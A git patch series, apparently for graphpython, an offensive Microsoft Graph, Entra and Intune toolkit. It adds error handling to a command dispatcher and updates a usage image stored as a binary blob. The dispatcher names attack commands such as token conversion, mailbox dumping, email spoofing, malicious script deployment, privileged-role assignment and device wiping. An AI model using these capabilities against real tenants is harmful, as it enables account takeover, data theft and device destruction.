[ + "graphpython=graphpython.__main__:main", + ], + }, + include_package_data=True, + package_data={ + 'graphpython': ['commands/graphpermissions.txt'], + }, +) \ No newline at end of file From 2a6178c2765d36cd89c306199365e70e86225307 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 10:24:29 +0100 Subject: [PATCH 03/37] Update __main__.py error handling --- graphpython/__main__.py | 164 +++++++++++++++++++++------------------- 1 file changed, 86 insertions(+), 78 deletions(-) diff --git a/graphpython/__main__.py b/graphpython/__main__.py index 3d2c1af..747c14b 100644 --- a/graphpython/__main__.py +++ b/graphpython/__main__.py @@ -132,85 +132,93 @@ def main(): print_red(f"[-] Error: --token is required for command") return - # Outsider commands - elif args.command in ["invoke-reconasoutsider", "invoke-userenumerationasoutsider"]: - getattr(outsider, args.command.replace("-", "_"))(args) - - # Authentication commands - if args.command in ["get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", - "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", - "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", - "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", - "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", - "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", - "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", - "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", - "invoke-appsecrettoaccesstoken", "new-signedjwt"]: - getattr(auth, args.command.replace("-", "_"))(args) - - # Enumeration commands - elif args.command in ["get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", - "get-user", "get-userproperties", "get-userprivileges", - "get-usertransitivegroupmembership", "get-group", "get-groupmember", - "get-userapproleassignments", "get-conditionalaccesspolicy", - "get-application", "get-personalcontacts", "get-crosstenantaccesspolicy", - "get-partnercrosstenantaccesspolicy", "get-userchatmessages", - "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", - "get-oauth2permissiongrants", "get-messages", "get-temporaryaccesspassword", - "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", - "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", - "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", - "list-sharepointurls", "list-externalconnections", "list-applications", "list-onedriveurls", - "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", - "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", - "list-recentonedrivefiles", "list-sharedonedrivefiles", "get-appserviceprincipal", - "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: - getattr(enum, args.command.replace("-", "_"))(args) - - # Exploitation commands - elif args.command in ["invoke-customquery","invoke-search", "find-privilegedroleusers", "find-privilegedapplications", - "find-updatablegroups","find-dynamicgroups", "find-securitygroups", - "update-userpassword", "update-userproperties", "add-usertap", "add-groupmember", - "create-application", "create-newuser", "invite-guestuser", - "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", - "spoof-owaemailmessage", "add-applicationpermission", "add-applicationcertificate", - "add-applicationpassword", "grant-appadminconsent"]: - getattr(exploit, args.command.replace("-", "_"))(args) - - # Intune enum commands - elif args.command in ["get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", - "get-devicecompliancesummary", "get-deviceconfigurations", - "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", - "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", - "get-devicegrouppolicydefinition", "get-roledefinitions", "get-roleassignments", - "get-devicecompliancepolicies"]: - getattr(intune_enum, args.command.replace("-", "_"))(args) + try: + # Outsider commands + if args.command in ["invoke-reconasoutsider", "invoke-userenumerationasoutsider"]: + getattr(outsider, args.command.replace("-", "_"))(args) + + # Authentication commands + elif args.command in ["get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", + "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", + "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", + "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", + "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", + "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", + "invoke-appsecrettoaccesstoken", "new-signedjwt"]: + getattr(auth, args.command.replace("-", "_"))(args) + + # Enumeration commands + elif args.command in ["get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", + "get-user", "get-userproperties", "get-userprivileges", + "get-usertransitivegroupmembership", "get-group", "get-groupmember", + "get-userapproleassignments", "get-conditionalaccesspolicy", + "get-application", "get-personalcontacts", "get-crosstenantaccesspolicy", + "get-partnercrosstenantaccesspolicy", "get-userchatmessages", + "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", + "get-oauth2permissiongrants", "get-messages", "get-temporaryaccesspassword", + "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", + "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", + "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", + "list-sharepointurls", "list-externalconnections", "list-applications", "list-onedriveurls", + "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", + "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", + "list-recentonedrivefiles", "list-sharedonedrivefiles", "get-appserviceprincipal", + "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: + getattr(enum, args.command.replace("-", "_"))(args) + + # Exploitation commands + elif args.command in ["invoke-customquery","invoke-search", "find-privilegedroleusers", "find-privilegedapplications", + "find-updatablegroups","find-dynamicgroups", "find-securitygroups", + "update-userpassword", "update-userproperties", "add-usertap", "add-groupmember", + "create-application", "create-newuser", "invite-guestuser", + "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", + "spoof-owaemailmessage", "add-applicationpermission", "add-applicationcertificate", + "add-applicationpassword", "grant-appadminconsent"]: + getattr(exploit, args.command.replace("-", "_"))(args) + + # Intune enum commands + elif args.command in ["get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", + "get-devicecompliancesummary", "get-deviceconfigurations", + "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", + "get-devicegrouppolicydefinition", "get-roledefinitions", "get-roleassignments", + "get-devicecompliancepolicies"]: + getattr(intune_enum, args.command.replace("-", "_"))(args) + + # Intune exploit commands + elif args.command in ["dump-devicemanagementscripts","dump-windowsapps", "dump-iosapps", + "dump-androidapps", "dump-macosapps","get-scriptcontent", + "display-avpolicyrules", "display-asrpolicyrules", + "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", + "display-firewallrulepolicyrules", "display-edrpolicyrules", + "display-lapsaccountprotectionpolicyrules", + "display-usergroupaccountprotectionpolicyrules", "add-exclusiongrouptopolicy", + "deploy-maliciousscript", "deploy-maliciousweblink", "backdoor-script", + "update-deviceconfig", "reboot-device", "retire-device", "lock-device", + "shutdown-device"]: + getattr(intune_exploit, args.command.replace("-", "_"))(args) + + # Cleanup commands + elif args.command in ["delete-user", "delete-group", "remove-groupmember", "delete-application", + "delete-device", "wipe-device"]: + getattr(cleanup, args.command.replace("-", "_"))(args) + + # Locator commands + elif args.command in ["locate-objectid", "locate-permissionid"]: + getattr(locators, args.command.replace("-", "_"))(args) + + # ... + elif args.command and args.command.lower() not in available_commands: + print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands") - # Intune exploit commands - elif args.command in ["dump-devicemanagementscripts","dump-windowsapps", "dump-iosapps", - "dump-androidapps", "dump-macosapps","get-scriptcontent", - "display-avpolicyrules", "display-asrpolicyrules", - "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", - "display-firewallrulepolicyrules", "display-edrpolicyrules", - "display-lapsaccountprotectionpolicyrules", - "display-usergroupaccountprotectionpolicyrules", "add-exclusiongrouptopolicy", - "deploy-maliciousscript", "deploy-maliciousweblink", "backdoor-script", - "update-deviceconfig", "reboot-device", "retire-device", "lock-device", - "shutdown-device"]: - getattr(intune_exploit, args.command.replace("-", "_"))(args) - - # Cleanup commands - elif args.command in ["delete-user", "delete-group", "remove-groupmember", "delete-application", - "delete-device", "wipe-device"]: - getattr(cleanup, args.command.replace("-", "_"))(args) - - # Locator commands - elif args.command in ["locate-objectid", "locate-permissionid"]: - getattr(locators, args.command.replace("-", "_"))(args) - - # ... - elif args.command and args.command.lower() not in available_commands: - print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands") + except KeyboardInterrupt: + print_red("\n[-] Operation cancelled by user") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred while executing '{args.command}': {str(e)}") + sys.exit(1) if __name__ == "__main__": main() \ No newline at end of file From 5f50e0277cb0be1a2da419f81e691e43a10518bf Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 10:49:40 +0100 Subject: [PATCH 04/37] Update --- .github/usage.png | Bin 379100 -> 407593 bytes graphpython/__main__.py | 8 ++++---- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/usage.png b/.github/usage.png index ea7a5f97b1193b4d794ad769b14376f8e46de7c7..64d7d55c6486da1ed6ad2b73246370c55691f590 100644 GIT binary patch literal 407593 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 